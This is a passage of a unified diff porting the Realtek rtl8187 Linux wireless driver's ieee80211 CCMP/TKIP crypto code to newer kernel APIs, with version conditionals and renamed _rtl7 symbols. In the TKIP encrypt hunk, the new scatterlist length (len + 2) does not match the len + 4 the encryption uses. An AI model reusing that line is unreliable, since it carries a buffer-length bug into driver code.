txbeaconringdma; - u32 *txbeaconring; - int txbeaconcount; -#endif -// struct ieee_tx_beacon *beacon_buf; - //char *master_essid; -// dma_addr_t beacondmabuf; - //u16 master_beaconinterval; -// u32 master_beaconsize; - //u16 beacon_interval; - - u8 retry_data; - u8 retry_rts; - - struct work_struct reset_wq; - -}r8180_priv; - - -typedef enum{ - LOW_PRIORITY , - NORM_PRIORITY - } priority_t; - - -short rtl8180_tx(struct net_device *dev,u32* skbuf, int len,priority_t priority,short morefrag,short rate); - -u8 read_nic_byte(struct net_device *dev, int x); -u8 read_nic_byte_E(struct net_device *dev, int x); -u32 read_nic_dword(struct net_device *dev, int x); -u16 read_nic_word(struct net_device *dev, int x) ; -void write_nic_byte(struct net_device *dev, int x,u8 y); -void write_nic_byte_E(struct net_device *dev, int x,u8 y); -void write_nic_word(struct net_device *dev, int x,u16 y); -void write_nic_dword(struct net_device *dev, int x,u32 y); -void force_pci_posting(struct net_device *dev); - -void rtl8180_rtx_disable(struct net_device *); -void rtl8180_rx_enable(struct net_device *); -void rtl8180_tx_enable(struct net_device *); - -void rtl8180_disassociate(struct net_device *dev); -//void fix_rx_fifo(struct net_device *dev); -void rtl8185_set_rf_pins_enable(struct net_device *dev,u32 a); - -void rtl8180_set_anaparam(struct net_device *dev,u32 a); -void rtl8185_set_anaparam2(struct net_device *dev,u32 a); -void rtl8180_update_msr(struct net_device *dev); -int rtl8180_down(struct net_device *dev); -int rtl8180_up(struct net_device *dev); -void rtl8180_commit(struct net_device *dev); -void rtl8180_set_chan(struct net_device *dev,short ch); -void write_phy(struct net_device *dev, u8 adr, u8 data); -void write_phy_cck(struct net_device *dev, u8 adr, u32 data); -void write_phy_ofdm(struct net_device *dev, u8 adr, u32 data); -void rtl8185_tx_antenna(struct net_device *dev, u8 ant); -void rtl8187_set_rxconf(struct net_device *dev); -#endif diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/.tmp_versions/r8187.mod rtl8187_linux_26.1010.0622.2006.modified/beta-8187/.tmp_versions/r8187.mod --- rtl8187_linux_26.1010.0622.2006/beta-8187/.tmp_versions/r8187.mod 2006-06-21 22:40:15.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/beta-8187/.tmp_versions/r8187.mod 2010-05-19 22:24:09.366013373 -0700 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8187.ko -/usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8187_core.o /usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8180_93cx6.o /usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8180_wx.o /usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8180_rtl8225.o /usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8180_rtl8225z2.o +/home/dsk/repos/rtl8187_linux_26.1010.0622.2006/beta-8187/r8187.ko +/home/dsk/repos/rtl8187_linux_26.1010.0622.2006/beta-8187/r8187_core.o /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_93cx6.o /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_wx.o /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225.o /home/dsk/repos/rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225z2.o diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt.c rtl8187_linux_26.1010.0622.2006.modified/ieee80211/ieee80211_crypt.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt.c 2006-06-05 19:57:56.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/ieee80211/ieee80211_crypt.c 2010-05-19 22:22:30.982698060 -0700 @@ -11,7 +11,6 @@ * */ -#include #include #include #include @@ -19,6 +18,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +//#include +#endif + #include "ieee80211.h" MODULE_AUTHOR("Jouni Malinen"); @@ -38,7 +43,7 @@ static struct ieee80211_crypto *hcrypt; -void ieee80211_crypt_deinit_entries(struct ieee80211_device *ieee, +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *ieee, int force) { struct list_head *ptr, *n; @@ -61,13 +66,13 @@ } } -void ieee80211_crypt_deinit_handler(unsigned long data) +void ieee80211_crypt_deinit_handler_rtl7(unsigned long data) { struct ieee80211_device *ieee = (struct ieee80211_device *)data; unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - ieee80211_crypt_deinit_entries(ieee, 0); + ieee80211_crypt_deinit_entries_rtl7(ieee, 0); if (!list_empty(&ieee->crypt_deinit_list)) { printk(KERN_DEBUG "%s: entries remaining in delayed crypt " "deletion list\n", ieee->dev->name); @@ -78,7 +83,7 @@ } -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt) { struct ieee80211_crypt_data *tmp; @@ -103,7 +108,7 @@ spin_unlock_irqrestore(&ieee->lock, flags); } -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct ieee80211_crypto_alg *alg; @@ -128,7 +133,7 @@ return 0; } -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct list_head *ptr; @@ -159,7 +164,7 @@ } -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name) +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name) { unsigned long flags; struct list_head *ptr; @@ -186,13 +191,13 @@ } -static void * ieee80211_crypt_null_init(int keyidx) { return (void *) 1; } -static void ieee80211_crypt_null_deinit(void *priv) {} +static void * ieee80211_crypt_null_init_rtl7(int keyidx) { return (void *) 1; } +static void ieee80211_crypt_null_deinit_rtl7(void *priv) {} static struct ieee80211_crypto_ops ieee80211_crypt_null = { .name = "NULL", - .init = ieee80211_crypt_null_init, - .deinit = ieee80211_crypt_null_deinit, + .init = ieee80211_crypt_null_init_rtl7, + .deinit = ieee80211_crypt_null_deinit_rtl7, .encrypt_mpdu = NULL, .decrypt_mpdu = NULL, .encrypt_msdu = NULL, @@ -205,7 +210,7 @@ }; -static int __init ieee80211_crypto_init(void) +static int __init ieee80211_crypto_init_rtl7(void) { int ret = -ENOMEM; @@ -217,7 +222,7 @@ INIT_LIST_HEAD(&hcrypt->algs); spin_lock_init(&hcrypt->lock); - ret = ieee80211_register_crypto_ops(&ieee80211_crypt_null); + ret = ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_null); if (ret < 0) { kfree(hcrypt); hcrypt = NULL; @@ -227,7 +232,7 @@ } -static void __exit ieee80211_crypto_deinit(void) +static void __exit ieee80211_crypto_deinit_rtl7(void) { struct list_head *ptr, *n; @@ -247,13 +252,13 @@ kfree(hcrypt); } -EXPORT_SYMBOL(ieee80211_crypt_deinit_entries); -EXPORT_SYMBOL(ieee80211_crypt_deinit_handler); -EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit); - -EXPORT_SYMBOL(ieee80211_register_crypto_ops); -EXPORT_SYMBOL(ieee80211_unregister_crypto_ops); -EXPORT_SYMBOL(ieee80211_get_crypto_ops); +EXPORT_SYMBOL(ieee80211_crypt_deinit_entries_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_deinit_handler_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit_rtl7); + +EXPORT_SYMBOL(ieee80211_register_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_unregister_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_get_crypto_ops_rtl7); -module_init(ieee80211_crypto_init); -module_exit(ieee80211_crypto_deinit); +module_init(ieee80211_crypto_init_rtl7); +module_exit(ieee80211_crypto_deinit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_ccmp.c rtl8187_linux_26.1010.0622.2006.modified/ieee80211/ieee80211_crypt_ccmp.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_ccmp.c 2006-06-05 19:58:00.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/ieee80211/ieee80211_crypt_ccmp.c 2010-05-19 22:22:46.906050739 -0700 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -22,11 +21,22 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +//#include +#endif + #include "ieee80211.h" #include -#include + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: CCMP"); @@ -51,7 +61,11 @@ int key_idx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm; +#else + struct crypto_cipher *tfm; +#endif /* scratch buffers for virt_to_page() (crypto API) */ u8 tx_b0[AES_BLOCK_LEN], tx_b[AES_BLOCK_LEN], @@ -59,7 +73,8 @@ u8 rx_b0[AES_BLOCK_LEN], rx_b[AES_BLOCK_LEN], rx_a[AES_BLOCK_LEN]; }; -void ieee80211_ccmp_aes_encrypt(struct crypto_tfm *tfm, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_tfm *tfm, const u8 pt[16], u8 ct[16]) { struct scatterlist src, dst; @@ -74,8 +89,15 @@ crypto_cipher_encrypt(tfm, &dst, &src, AES_BLOCK_LEN); } +#else +static inline void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_cipher *tfm, + const u8 pt[16], u8 ct[16]) +{ + crypto_cipher_encrypt_one(tfm, ct, pt); +} +#endif -static void * ieee80211_ccmp_init(int key_idx) +static void * ieee80211_ccmp_init_rtl7(int key_idx) { struct ieee80211_ccmp_data *priv; @@ -85,19 +107,33 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = key_idx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) priv->tfm = crypto_alloc_tfm("aes", 0); if (priv->tfm == NULL) { printk(KERN_DEBUG "ieee80211_crypt_ccmp: could not allocate " "crypto API aes\n"); goto fail; } +#else + priv->tfm = crypto_alloc_cipher("aes", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_ccmp: could not allocate " + "crypto API aes\n"); + priv->tfm = NULL; + goto fail; + } +#endif return priv; fail: if (priv) { if (priv->tfm) +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_free_tfm(priv->tfm); +#else + crypto_free_cipher(priv->tfm); +#endif kfree(priv); } @@ -105,16 +141,20 @@ } -static void ieee80211_ccmp_deinit(void *priv) +static void ieee80211_ccmp_deinit_rtl7(void *priv) { struct ieee80211_ccmp_data *_priv = priv; if (_priv && _priv->tfm) +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_free_tfm(_priv->tfm); +#else + crypto_free_cipher(_priv->tfm); +#endif kfree(priv); } -static inline void xor_block(u8 *b, u8 *a, size_t len) +static inline void xor_block_rtl7(u8 *b, u8 *a, size_t len) { int i; for (i = 0; i < len; i++) @@ -122,7 +162,11 @@ } -static void ccmp_init_blocks(struct crypto_tfm *tfm, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +static void ccmp_init_blocks_rtl7(struct crypto_tfm *tfm, +#else +static void ccmp_init_blocks_rtl7(struct crypto_cipher *tfm, +#endif struct ieee80211_hdr *hdr, u8 *pn, size_t dlen, u8 *b0, u8 *auth, u8 *s0) @@ -186,18 +230,18 @@ } /* Start with the first block and AAD */ - ieee80211_ccmp_aes_encrypt(tfm, b0, auth); - xor_block(auth, aad, AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); - xor_block(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, auth); + xor_block_rtl7(auth, aad, AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); + xor_block_rtl7(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); b0[0] &= 0x07; b0[14] = b0[15] = 0; - ieee80211_ccmp_aes_encrypt(tfm, b0, s0); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, s0); } -static int ieee80211_ccmp_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; int data_len, i, blocks, last, len; @@ -237,7 +281,7 @@ *pos++ = key->tx_pn[0]; hdr = (struct ieee80211_hdr *) skb->data; - ccmp_init_blocks(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); + ccmp_init_blocks_rtl7(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -245,13 +289,13 @@ for (i = 1; i <= blocks; i++) { len = (i == blocks && last) ? last : AES_BLOCK_LEN; /* Authentication */ - xor_block(b, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, b, b); + xor_block_rtl7(b, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b, b); /* Encryption, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, e); - xor_block(pos, e, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, e); + xor_block_rtl7(pos, e, len); pos += len; } @@ -262,7 +306,7 @@ } -static int ieee80211_ccmp_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; u8 keyidx, *pos; @@ -326,8 +370,8 @@ return -4; } - ccmp_init_blocks(key->tfm, hdr, pn, data_len, b0, a, b); - xor_block(mic, b, CCMP_MIC_LEN); + ccmp_init_blocks_rtl7(key->tfm, hdr, pn, data_len, b0, a, b); + xor_block_rtl7(mic, b, CCMP_MIC_LEN); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -337,11 +381,11 @@ /* Decrypt, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, b); - xor_block(pos, b, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, b); + xor_block_rtl7(pos, b, len); /* Authentication */ - xor_block(a, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, a, a); + xor_block_rtl7(a, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, a, a); pos += len; } @@ -365,11 +409,15 @@ } -static int ieee80211_ccmp_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; int keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm = data->tfm; +#else + struct crypto_cipher *tfm = data->tfm; +#endif keyidx = data->key_idx; memset(data, 0, sizeof(*data)); @@ -396,7 +444,7 @@ } -static int ieee80211_ccmp_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; @@ -420,7 +468,7 @@ } -static char * ieee80211_ccmp_print_stats(char *p, void *priv) +static char * ieee80211_ccmp_print_stats_rtl7(char *p, void *priv) { struct ieee80211_ccmp_data *ccmp = priv; p += sprintf(p, "key[%d] alg=CCMP key_set=%d " @@ -437,34 +485,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_ccmp = { +static struct ieee80211_crypto_ops ieee80211_crypt_ccmp_rtl7 = { .name = "CCMP", - .init = ieee80211_ccmp_init, - .deinit = ieee80211_ccmp_deinit, - .encrypt_mpdu = ieee80211_ccmp_encrypt, - .decrypt_mpdu = ieee80211_ccmp_decrypt, + .init = ieee80211_ccmp_init_rtl7, + .deinit = ieee80211_ccmp_deinit_rtl7, + .encrypt_mpdu = ieee80211_ccmp_encrypt_rtl7, + .decrypt_mpdu = ieee80211_ccmp_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = ieee80211_ccmp_set_key, - .get_key = ieee80211_ccmp_get_key, - .print_stats = ieee80211_ccmp_print_stats, + .set_key = ieee80211_ccmp_set_key_rtl7, + .get_key = ieee80211_ccmp_get_key_rtl7, + .print_stats = ieee80211_ccmp_print_stats_rtl7, .extra_prefix_len = CCMP_HDR_LEN, .extra_postfix_len = CCMP_MIC_LEN, .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_ccmp_init(void) +static int __init ieee80211_crypto_ccmp_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_ccmp); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -static void __exit ieee80211_crypto_ccmp_exit(void) +static void __exit ieee80211_crypto_ccmp_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_ccmp); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -module_init(ieee80211_crypto_ccmp_init); -module_exit(ieee80211_crypto_ccmp_exit); +module_init(ieee80211_crypto_ccmp_init_rtl7); +module_exit(ieee80211_crypto_ccmp_exit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt.h rtl8187_linux_26.1010.0622.2006.modified/ieee80211/ieee80211_crypt.h --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt.h 2006-06-05 19:58:00.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/ieee80211/ieee80211_crypt.h 2010-05-19 22:18:51.936032580 -0700 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_tkip.c rtl8187_linux_26.1010.0622.2006.modified/ieee80211/ieee80211_crypt_tkip.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_tkip.c 2006-06-05 19:57:54.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/ieee80211/ieee80211_crypt_tkip.c 2010-05-19 22:23:00.716049971 -0700 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -21,13 +20,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +//#include +#endif + #include "ieee80211.h" +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif #include -#include #include + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: TKIP"); MODULE_LICENSE("GPL"); @@ -55,14 +65,21 @@ int key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) struct crypto_tfm *tfm_arc4; struct crypto_tfm *tfm_michael; +#else + struct crypto_blkcipher *rx_tfm_arc4; + struct crypto_blkcipher *tx_tfm_arc4; + struct crypto_hash *rx_tfm_michael; + struct crypto_hash *tx_tfm_michael; +#endif /* scratch buffers for virt_to_page() (crypto API) */ u8 rx_hdr[16], tx_hdr[16]; }; -static void * ieee80211_tkip_init(int key_idx) +static void * ieee80211_tkip_init_rtl7(int key_idx) { struct ieee80211_tkip_data *priv; @@ -72,28 +89,74 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) priv->tfm_arc4 = crypto_alloc_tfm("arc4", 0); if (priv->tfm_arc4 == NULL) { printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " "crypto API arc4\n"); goto fail; } - priv->tfm_michael = crypto_alloc_tfm("michael_mic", 0); if (priv->tfm_michael == NULL) { printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " "crypto API michael_mic\n"); goto fail; } +#else + priv->tx_tfm_arc4 = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm_arc4)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->tx_tfm_arc4 = NULL; + goto fail; + } + + priv->tx_tfm_michael = crypto_alloc_hash("michael_mic", 0, + CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm_michael)) { + printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " + "crypto API michael_mic\n"); + priv->tx_tfm_michael = NULL; + goto fail; + } + + priv->rx_tfm_arc4 = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm_arc4)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->rx_tfm_arc4 = NULL; + goto fail; + } + + priv->rx_tfm_michael = crypto_alloc_hash("michael_mic", 0, + CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm_michael)) { + printk(KERN_DEBUG "ieee80211_crypt_tkip: could not allocate " + "crypto API michael_mic\n"); + priv->rx_tfm_michael = NULL; + goto fail; + } +#endif return priv; fail: if (priv) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (priv->tfm_michael) crypto_free_tfm(priv->tfm_michael); if (priv->tfm_arc4) crypto_free_tfm(priv->tfm_arc4); +#else + if (priv->tx_tfm_michael) + crypto_free_hash(priv->tx_tfm_michael); + if (priv->tx_tfm_arc4) + crypto_free_blkcipher(priv->tx_tfm_arc4); + if (priv->rx_tfm_michael) + crypto_free_hash(priv->rx_tfm_michael); + if (priv->rx_tfm_arc4) + crypto_free_blkcipher(priv->rx_tfm_arc4); +#endif kfree(priv); } @@ -101,13 +164,26 @@ } -static void ieee80211_tkip_deinit(void *priv) +static void ieee80211_tkip_deinit_rtl7(void *priv) { struct ieee80211_tkip_data *_priv = priv; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (_priv && _priv->tfm_michael) crypto_free_tfm(_priv->tfm_michael); if (_priv && _priv->tfm_arc4) crypto_free_tfm(_priv->tfm_arc4); +#else + if (_priv) { + if (_priv->tx_tfm_michael) + crypto_free_hash(_priv->tx_tfm_michael); + if (_priv->tx_tfm_arc4) + crypto_free_blkcipher(_priv->tx_tfm_arc4); + if (_priv->rx_tfm_michael) + crypto_free_hash(_priv->rx_tfm_michael); + if (_priv->rx_tfm_arc4) + crypto_free_blkcipher(_priv->rx_tfm_arc4); + } +#endif kfree(priv); } @@ -200,7 +276,7 @@ #define PHASE1_LOOP_COUNT 8 -static void tkip_mixing_phase1(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) +static void tkip_mixing_phase1_rtl7(u16 *TTAK, const u8 *TK, const u8 *TA, u32 IV32) { int i, j; @@ -222,7 +298,7 @@ } -static void tkip_mixing_phase2(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, +static void tkip_mixing_phase2_rtl7(u8 *WEPSeed, const u8 *TK, const u16 *TTAK, u16 IV16) { /* Make temporary area overlap WEP seed so that the final copy can be @@ -268,7 +344,7 @@ #endif } -static int ieee80211_tkip_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; int len; @@ -276,6 +352,9 @@ struct ieee80211_hdr *hdr; u32 crc; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = tkey->tx_tfm_arc4 }; +#endif if (skb_headroom(skb) < 8 || skb_tailroom(skb) < 4 || skb->len < hdr_len) @@ -283,11 +362,11 @@ hdr = (struct ieee80211_hdr *) skb->data; if (!tkey->tx_phase1_done) { - tkip_mixing_phase1(tkey->tx_ttak, tkey->key, hdr->addr2, + tkip_mixing_phase1_rtl7(tkey->tx_ttak, tkey->key, hdr->addr2, tkey->tx_iv32); tkey->tx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->tx_ttak, tkey->tx_iv16); len = skb->len - hdr_len; pos = skb_push(skb, 8); @@ -310,11 +389,23 @@ icv[2] = crc >> 16; icv[3] = crc >> 24; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(tkey->tfm_arc4, rc4key, 16); +#else + crypto_blkcipher_setkey(tkey->tx_tfm_arc4, rc4key, 16); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = len + 4; +#else + sg_set_page(&sg, virt_to_page(pos), len + 2, offset_in_page(pos)); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_encrypt(tkey->tfm_arc4, &sg, &sg, len + 4); +#else + crypto_blkcipher_encrypt(&desc, &sg, &sg, len + 4); +#endif tkey->tx_iv16++; if (tkey->tx_iv16 == 0) { @@ -325,7 +416,7 @@ return 0; } -static int ieee80211_tkip_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_tkip_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; u8 rc4key[16]; @@ -337,6 +428,9 @@ u32 crc; struct scatterlist sg; int plen; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = tkey->rx_tfm_arc4 }; +#endif if (skb->len < hdr_len + 8 + 4) return -1; @@ -382,18 +476,30 @@ } if (iv32 != tkey->rx_iv32 || !tkey->rx_phase1_done) { - tkip_mixing_phase1(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); + tkip_mixing_phase1_rtl7(tkey->rx_ttak, tkey->key, hdr->addr2, iv32); tkey->rx_phase1_done = 1; } - tkip_mixing_phase2(rc4key, tkey->key, tkey->rx_ttak, iv16); + tkip_mixing_phase2_rtl7(rc4key, tkey->key, tkey->rx_ttak, iv16); plen = skb->len - hdr_len - 12; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(tkey->tfm_arc4, rc4key, 16); +#else + crypto_blkcipher_setkey(tkey->rx_tfm_arc4, rc4key, 16); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = plen + 4; +#else + sg_set_page(&sg, virt_to_page(pos), plen + 4, offset_in_page(pos)); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_decrypt(tkey->tfm_arc4, &sg, &sg, plen + 4); +#else + crypto_blkcipher_decrypt(&desc, &sg, &sg, plen + 4); +#endif crc = ~crc32_le(~0, pos, plen); icv[0] = crc; @@ -427,33 +533,59 @@ return keyidx; } - -static int michael_mic(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) +static int michael_mic_rtl7(struct ieee80211_tkip_data *tkey, u8 *key, u8 *hdr, u8 *data, size_t data_len, u8 *mic) { struct scatterlist sg[2]; if (tkey->tfm_michael == NULL) { +#else +static int michael_mic_rtl7(struct crypto_hash *tfm_michael, u8 *key, u8 *hdr, + u8 *data, size_t data_len, u8 *mic) +{ + struct hash_desc desc; + struct scatterlist sg[2]; + + if (tfm_michael == NULL) { +#endif printk(KERN_WARNING "michael_mic: tfm_michael == NULL\n"); return -1; } +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg[0].page = virt_to_page(hdr); sg[0].offset = offset_in_page(hdr); sg[0].length = 16; +#else + sg_set_page(&sg[0], virt_to_page(hdr), 16, offset_in_page(hdr)); +#endif +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)) sg[1].page = virt_to_page(data); sg[1].offset = offset_in_page(data); sg[1].length = data_len; +#else + sg_set_page(&sg[1], virt_to_page(data), data_len, offset_in_page(data)); +#endif +#if LINUX_VERSION_CODE < 